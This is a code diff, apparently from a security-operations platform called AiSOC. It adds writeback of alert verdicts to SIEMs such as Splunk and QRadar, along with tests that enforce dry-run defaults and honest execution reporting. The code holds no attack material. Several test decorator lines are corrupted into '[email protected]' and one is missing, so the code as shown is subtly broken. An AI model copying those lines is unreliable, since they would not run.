+def test_case_closure_is_off_by_default(monkeypatch) -> None:
+ monkeypatch.delenv("AISOC_SIEM_WRITEBACK_CLOSE_CASE", raising=False)
+ assert siem_writeback.ticket_projection_enabled() is False
+
+
[email protected]("value", ["1", "true", "yes", "on", "TRUE"])
+def test_execute_opt_in_spellings(monkeypatch, value: str) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", value)
+ assert siem_writeback.writeback_executes() is True
+
+
[email protected]("value", ["0", "false", "off", "", "no", "maybe"])
+def test_anything_not_an_explicit_yes_stays_a_dry_run(monkeypatch, value: str) -> None:
+ """An unrecognised value must not be read as consent."""
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", value)
+ assert siem_writeback.writeback_executes() is False
+
+
+# ── The default path writes nothing ────────────────────────────────────────
+
+
+async def test_default_posture_dispatches_a_dry_run(monkeypatch) -> None:
+ monkeypatch.delenv("AISOC_SIEM_WRITEBACK_EXECUTE", raising=False)
+ dispatch = AsyncMock(return_value=_dispatch_response())
+
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link()])),
+ patch.object(siem_writeback.actions_client, "dispatch_live_action", dispatch),
+ patch.object(siem_writeback, "record_writeback", AsyncMock()),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="false_positive")
+
+ assert dispatch.await_args.kwargs["dry_run"] is True
+ assert report.mode == "dry_run"
+ assert report.executed_count == 0
+ assert report.as_dict()["executed"] is False
+ assert report.outcomes[0].status == "dry_run"
+ # An operator reading the detail must not have to infer this.
+ assert report.outcomes[0].detail.startswith("DRY RUN")
+
+
+async def test_a_dry_run_is_never_reported_as_executed_even_when_the_vendor_says_written(monkeypatch) -> None:
+ """The load-bearing case: a confused executor cannot promote a dry run."""
+ monkeypatch.delenv("AISOC_SIEM_WRITEBACK_EXECUTE", raising=False)
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link()])),
+ patch.object(
+ siem_writeback.actions_client,
+ "dispatch_live_action",
+ AsyncMock(return_value=_dispatch_response(written=True)),
+ ),
+ patch.object(siem_writeback, "record_writeback", AsyncMock()),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="benign")
+ assert report.executed_count == 0
+
+
+async def test_disabled_flag_attempts_nothing(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_ENABLED", "0")
+ dispatch = AsyncMock()
+ with patch.object(siem_writeback.actions_client, "dispatch_live_action", dispatch):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="false_positive")
+ dispatch.assert_not_awaited()
+ assert report.mode == "disabled"
+ assert report.as_dict()["executed"] is False
+
+
+# ── Execution, and the states that are not execution ───────────────────────
+
+
+async def test_execute_flag_dispatches_live_and_records_executed(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", "1")
+ recorded = AsyncMock()
+ dispatch = AsyncMock(return_value=_dispatch_response())
+
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link()])),
+ patch.object(siem_writeback.actions_client, "dispatch_live_action", dispatch),
+ patch.object(siem_writeback, "record_writeback", recorded),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="false_positive")
+
+ assert dispatch.await_args.kwargs["dry_run"] is False
+ assert report.mode == "live"
+ assert report.executed_count == 1
+ assert recorded.await_args.kwargs["executed"] is True
+
+
+async def test_a_refusal_is_recorded_as_not_executed(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", "1")
+ recorded = AsyncMock()
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link()])),
+ patch.object(
+ siem_writeback.actions_client,
+ "dispatch_live_action",
+ AsyncMock(return_value=_dispatch_response(written=False, action="refuse")),
+ ),
+ patch.object(siem_writeback, "record_writeback", recorded),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="true_positive")
+ assert report.outcomes[0].status == "refused"
+ assert report.executed_count == 0
+ assert recorded.await_args.kwargs["executed"] is False
+
+
+async def test_a_credential_less_simulation_is_not_an_execution(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", "1")
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link()])),
+ patch.object(
+ siem_writeback.actions_client,
+ "dispatch_live_action",
+ AsyncMock(return_value=_dispatch_response(status="simulated", written=False)),
+ ),
+ patch.object(siem_writeback, "record_writeback", AsyncMock()),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="benign")
+ assert report.outcomes[0].status == "simulated"
+ assert report.executed_count == 0
+
+
+async def test_actions_service_outage_fails_soft(monkeypatch) -> None:
+ """A writeback failure must never surface as an exception to triage."""
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", "1")
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link()])),
+ patch.object(
+ siem_writeback.actions_client,
+ "dispatch_live_action",
+ AsyncMock(side_effect=siem_writeback.actions_client.ActionsServiceError("down")),
+ ),
+ patch.object(siem_writeback, "record_writeback", AsyncMock()),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="benign")
+ assert report.outcomes[0].status == "failed"
+ assert report.executed_count == 0
+
+
+# ── Routing and scope ──────────────────────────────────────────────────────
+
+
+async def test_unknown_disposition_costs_no_round_trip() -> None:
+ dispatch = AsyncMock()
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link()])),
+ patch.object(siem_writeback.actions_client, "dispatch_live_action", dispatch),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="resolved")
+ dispatch.assert_not_awaited()
+ assert report.outcomes == []
+
+
+async def test_a_vendor_with_no_writeback_arm_is_skipped_not_dispatched(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", "1")
+ dispatch = AsyncMock()
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link(vendor="pagerduty")])),
+ patch.object(siem_writeback.actions_client, "dispatch_live_action", dispatch),
+ patch.object(siem_writeback, "record_writeback", AsyncMock()),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="benign")
+ dispatch.assert_not_awaited()
+ assert report.outcomes[0].status == "skipped"
+ assert report.executed_count == 0
+
+
+async def test_the_vendor_is_pinned_so_credential_order_cannot_choose(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_SIEM_WRITEBACK_EXECUTE", "1")
+ dispatch = AsyncMock(return_value=_dispatch_response())
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[_link(vendor="qradar")])),
+ patch.object(siem_writeback.actions_client, "dispatch_live_action", dispatch),
+ patch.object(siem_writeback, "record_writeback", AsyncMock()),
+ ):
+ await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="benign")
+
+ kwargs = dispatch.await_args.kwargs
+ assert kwargs["vendor_id"] == "qradar"
+ assert kwargs["params"]["alert_vendor"] == "qradar"
+ assert kwargs["target"] == "NOTABLE-42"
+ assert kwargs["capability"] == "update_alert_disposition"
+
+
+async def test_no_source_link_means_no_dispatch() -> None:
+ dispatch = AsyncMock()
+ with (
+ patch.object(siem_writeback, "links_for_alert", AsyncMock(return_value=[])),
+ patch.object(siem_writeback.actions_client, "dispatch_live_action", dispatch),
+ ):
+ report = await siem_writeback.write_back_disposition(_db(), tenant_id=TENANT, alert_id=ALERT, disposition="benign")
+ dispatch.assert_not_awaited()
+ assert report.outcomes == []
diff --git a/services/connectors/app/connectors/base.py b/services/connectors/app/connectors/base.py
index 0e7150231..0d94aeed5 100644
--- a/services/connectors/app/connectors/base.py
+++ b/services/connectors/app/connectors/base.py
@@ -136,6 +136,10 @@ class Capability(str, Enum):
CREATE_NOTABLE_EVENT = "create_notable_event"
SYNC_DETECTION_RULE = "sync_detection_rule"
UPDATE_WATCHER = "update_watcher"
+ # The return leg. Ingest carries a vendor finding id in as `external_id`;
+ # this verb carries AiSOC's verdict back out to the same finding, so a
+ # notable AiSOC dismissed is not re-triaged by a human in Splunk.
+ UPDATE_ALERT_DISPOSITION = "update_alert_disposition"
# TICKET — bidirectional ITSM (Jira / ServiceNow / etc.).
PUSH_CASE = "push_case"
diff --git a/services/fusion/app/models/alert.py b/services/fusion/app/models/alert.py
index e2bcfd70e..a51c40a80 100644
--- a/services/fusion/app/models/alert.py
+++ b/services/fusion/app/models/alert.py
@@ -86,6 +86,12 @@ class RawAlert(BaseModel):
ocsf_class_uid: int | None = None
rule_id: str | None = None # detection rule / Splunk saved-search identifier
rule_name: str | None = None
+ # The source system's own identifier for the finding (OCSF `finding.uid`):
+ # a Splunk notable's rule UID, an Elastic signal id, a QRadar offense id.
+ # Ingest has always produced it and nothing downstream kept it, so the
+ # alert row could not be traced back to the finding that raised it — and
+ # therefore no verdict could be written back.
+ external_id: str | None = None
created_at: datetime = Field(default_factory=datetime.utcnow)
event_time: datetime | None = None
diff --git a/services/fusion/app/services/alert_sink.py b/services/fusion/app/services/alert_sink.py
index abb336041..ccb8bce2d 100644
--- a/services/fusion/app/services/alert_sink.py
+++ b/services/fusion/app/services/alert_sink.py
@@ -23,6 +23,7 @@ from __future__ import annotations
import json
from dataclasses import dataclass
from enum import Enum
+from typing import Any
import asyncpg
import structlog
@@ -70,7 +71,7 @@ INSERT INTO alerts (
dedup_hash, confidence, confidence_label, confidence_rationale,
narrative, anomaly_score, event_time,
connector_id, connector_type, source_event_ids, ocsf_class_uid,
- rule_id, rule_name
+ rule_id, rule_name, external_id
)
SELECT
$1, $2, $3, $4, $5, 'new',
@@ -78,13 +79,55 @@ SELECT
$11::text, $12, $13, $14::jsonb,
$15, $16, COALESCE($17, NOW()),
$18, $19, $20::jsonb, $21,
- $22, $23
+ $22, $23, $24
WHERE NOT EXISTS (
SELECT 1 FROM alerts WHERE tenant_id = $2 AND dedup_hash = $11::text
)
ON CONFLICT (id) DO NOTHING
RETURNING id
"""
+# The reconciliation row the two-way SIEM loop reads. Written here rather than
+# from the API because fusion is the only place that holds the alert id, the
+# connector instance and the vendor finding id at the same moment — asking the
+# API to rediscover the link later would mean re-deriving the vendor from a
+# string the promoter already parsed.
+#
+# `executed` is FALSE on insert and has no default in the schema: a link that
+# has never been written back must not read as one that has.
+_LINK_SQL = """
+INSERT INTO alert_source_links (
+ tenant_id, alert_id, vendor, external_id, connector_instance_id, executed
+) VALUES ($1, $2, $3, $4, $5, FALSE)
+ON CONFLICT (alert_id, vendor, external_id) DO NOTHING
+"""
+
+#: connector_type -> live-actions vendor id, for the SIEMs a disposition can
+#: be written back to. A connector absent from this map still produces alerts;
+#: it just has no return leg, which is the honest state for most sources.
+_WRITEBACK_VENDOR_BY_CONNECTOR: dict[str, str] = {
+ "splunk": "splunk",
+ "splunk_enterprise": "splunk",
+ "elastic": "elastic",
+ "elasticsearch": "elastic",
+ "elastic_security": "elastic",
+ "microsoft_sentinel": "sentinel",
+ "azure_sentinel": "sentinel",
+ "sentinel": "sentinel",
+ "qradar": "qradar",
+ "ibm_qradar": "qradar",
+ "defender": "defender",
+ "microsoft_defender": "defender",
+ "azure_defender": "defender",
+}
+
+
+def writeback_vendor(connector_type: str | None) -> str | None:
+ """The vendor id a disposition would be written back to, if any."""
+ if not connector_type:
+ return None
+ return _WRITEBACK_VENDOR_BY_CONNECTOR.get(connector_type.strip().lower())
+
+
# Two idempotency guards, complementary (issue #568):
# * WHERE NOT EXISTS (tenant_id, dedup_hash) — content dedup; also protects
# legacy rows written before ids were deterministic (random id, same hash).
@@ -203,10 +246,12 @@ class AlertSink:
alert.ocsf_class_uid,
alert.rule_id,
alert.rule_name,
+ alert.external_id,
)
if row is None:
logger.debug("alert_sink.dedup_skip", fingerprint=alert.fingerprint())
return PersistResult(PersistOutcome.DUPLICATE, canonical_id)
+ await self._link_source_finding(pool, alert, alert_id=row["id"])
return PersistResult(PersistOutcome.INSERTED, str(row["id"]))
except asyncpg.ForeignKeyViolationError:
# Unknown tenant — a mis-provisioned connector, not a pipeline bug.
@@ -216,3 +261,34 @@ class AlertSink:
except Exception as exc: # noqa: BLE001 — one bad row must not wedge the consumer
logger.error("alert_sink.persist_failed", error=str(exc))
return PersistResult(PersistOutcome.FAILED, None)
+
+ async def _link_source_finding(self, pool: asyncpg.Pool, alert: Any, *, alert_id: Any) -> None:
+ """Record which vendor finding produced this alert, when there is one.
+
+ Best-effort by design. A missing link costs a writeback; raising here
+ would cost the alert, and the alert is the thing that matters. Silent
+ skips are the common case (most sources are not a SIEM whose findings
+ AiSOC can write to), so they log at debug and a genuine failure at
+ warning.
+ """
+ vendor = writeback_vendor(alert.connector_type)
+ if not vendor or not alert.external_id:
+ logger.debug(
+ "alert_sink.no_source_link",
+ connector_type=alert.connector_type,
+ has_external_id=bool(alert.external_id),
+ )
+ return
+ try:
+ async with pool.acquire() as conn:
+ await conn.execute(
+ _LINK_SQL,
+ alert.tenant_id,
+ alert_id,
+ vendor,
+ alert.external_id,
+ alert.connector_id,
+ )
+ logger.info("alert_sink.source_linked", vendor=vendor, alert_id=str(alert_id))
+ except Exception as exc: # noqa: BLE001 — never fail an alert over its link row
+ logger.warning("alert_sink.source_link_failed", vendor=vendor, error=str(exc))
diff --git a/services/fusion/app/services/promoter.py b/services/fusion/app/services/promoter.py
index bd55e2b67..5d777fa76 100644
--- a/services/fusion/app/services/promoter.py
+++ b/services/fusion/app/services/promoter.py
@@ -159,6 +159,22 @@ def _event_time(ocsf: dict[str, Any]) -> datetime | None:
return None
+def _external_id(ocsf: dict) -> str | None:
+ """The vendor's own id for this finding, from OCSF ``finding.uid``.
+
+ This is the join key the two-way SIEM loop needs: without it an alert
+ cannot be traced back to the notable, signal or offense that raised it.
+ ``metadata.uid`` is the fallback for profiles that carry the vendor id
+ there instead, and both are bounded because the column is indexed and a
+ vendor that puts a whole document in the field should not break the write.
+ """
+ for path in (("finding", "uid"), ("metadata", "uid")):
+ value = _get_nested(ocsf, *path)
+ if isinstance(value, str) and value.strip():
+ return value.strip()[:512]
+ return None
+
+
def should_promote(ocsf: dict[str, Any]) -> bool:
"""Deterministic promotion decision — see module docstring for policy."""
class_uid = ocsf.get("class_uid")
@@ -216,4 +232,5 @@ def promote_normalized_event(message: dict[str, Any]) -> RawAlert | None:
connector_id=connector_id,
connector_type=connector_type,
ocsf_class_uid=class_uid,
+ external_id=_external_id(ocsf),
)
diff --git a/services/fusion/tests/test_source_finding_link.py b/services/fusion/tests/test_source_finding_link.py
new file mode 100644
index 000000000..aaf40addd
--- /dev/null
+++ b/services/fusion/tests/test_source_finding_link.py
@@ -0,0 +1,104 @@
+"""The join key has to survive the trip, or the return leg has nothing to aim at.
+
+Ingest has always produced the vendor's own identifier for a finding — the
+normalizer maps ``external_id`` onto OCSF ``finding.uid`` — and fusion threw
+it away. By the time a row reached ``alerts`` the Splunk notable's rule UID,
+the Elastic signal id and the QRadar offense id had all been discarded, so
+"which finding produced this alert" had no answer and no verdict could be
+written back.
+
+Two claims here: the promoter carries the id onto the alert, and the sink
+records the reconciliation row — but only for a vendor whose findings AiSOC
+can actually write to. A link for a vendor with no writeback arm would read as
+a two-way integration that is not one.
+"""
+
+from __future__ import annotations
+
+import uuid
+
+import pytest
+from app.services.alert_sink import writeback_vendor
+from app.services.promoter import promote_normalized_event
+
+
+def _finding(external_uid: str | None = "NOTABLE-42", **overrides) -> dict:
+ ocsf: dict = {
+ "class_uid": 2001,
+ "category_uid": 2,
+ "severity_id": 4,
+ "message": "Credential stuffing on svc-01",
+ "metadata": {"product": {"vendor_name": "Splunk", "name": "Enterprise Security"}},
+ "device": {"name": "svc-01"},
+ "src_endpoint": {"ip": "198.51.100.7"},
+ }
+ if external_uid is not None:
+ ocsf["finding"] = {"uid": external_uid, "desc": "120 failed logins in 4 minutes"}
+ ocsf.update(overrides)
+ return ocsf
+
+
+def _message(ocsf: dict) -> dict:
+ return {
+ "id": str(uuid.uuid4()),
+ "connector_id": str(uuid.uuid4()),
+ "connector_type": "splunk",
+ "tenant_id": str(uuid.uuid4()),
+ "ocsf_event": ocsf,
+ "normalization_version": "1.1.0",
+ }
+
+
+def test_promoter_carries_the_vendor_finding_id_onto_the_alert() -> None:
+ alert = promote_normalized_event(_message(_finding()))
+ assert alert is not None
+ assert alert.external_id == "NOTABLE-42"
+
+
+def test_metadata_uid_is_the_fallback() -> None:
+ """Some profiles carry the vendor id on metadata rather than finding."""
+ ocsf = _finding(external_uid=None)
+ ocsf["metadata"]["uid"] = "OFFENSE-9"
+ alert = promote_normalized_event(_message(ocsf))
+ assert alert is not None
+ assert alert.external_id == "OFFENSE-9"
+
+
+def test_no_vendor_id_is_none_not_an_empty_string() -> None:
+ """NULL means 'no finding behind this alert'; '' would look like one."""
+ alert = promote_normalized_event(_message(_finding(external_uid=None)))
+ assert alert is not None
+ assert alert.external_id is None
+
+
+def test_an_oversized_identifier_is_bounded() -> None:
+ alert = promote_normalized_event(_message(_finding(external_uid="x" * 4000)))
+ assert alert is not None
+ assert alert.external_id is not None
+ assert len(alert.external_id) == 512
+
+
+ ("connector_type", "expected"),
+ [
+ ("splunk", "splunk"),
+ ("splunk_enterprise", "splunk"),
+ ("Elastic", "elastic"),
+ ("microsoft_sentinel", "sentinel"),
+ ("ibm_qradar", "qradar"),
+ ("microsoft_defender", "defender"),
+ ],
+)
+def test_siem_connectors_resolve_to_a_writeback_vendor(connector_type: str, expected: str) -> None:
+ assert writeback_vendor(connector_type) == expected
+
+
[email protected]("connector_type", ["okta", "crowdstrike", "pagerduty", "aws_cloudtrail", "", None])
+def test_sources_with_no_return_leg_resolve_to_nothing(connector_type: str | None) -> None:
+ """Most sources are not a SIEM whose findings AiSOC can write to.
+
+ Linking them anyway would put rows in the reconciliation table that read
+ as a two-way integration and answer ``executor_not_found`` if anything
+ ever dispatched against them.
+ """
+ assert writeback_vendor(connector_type) is None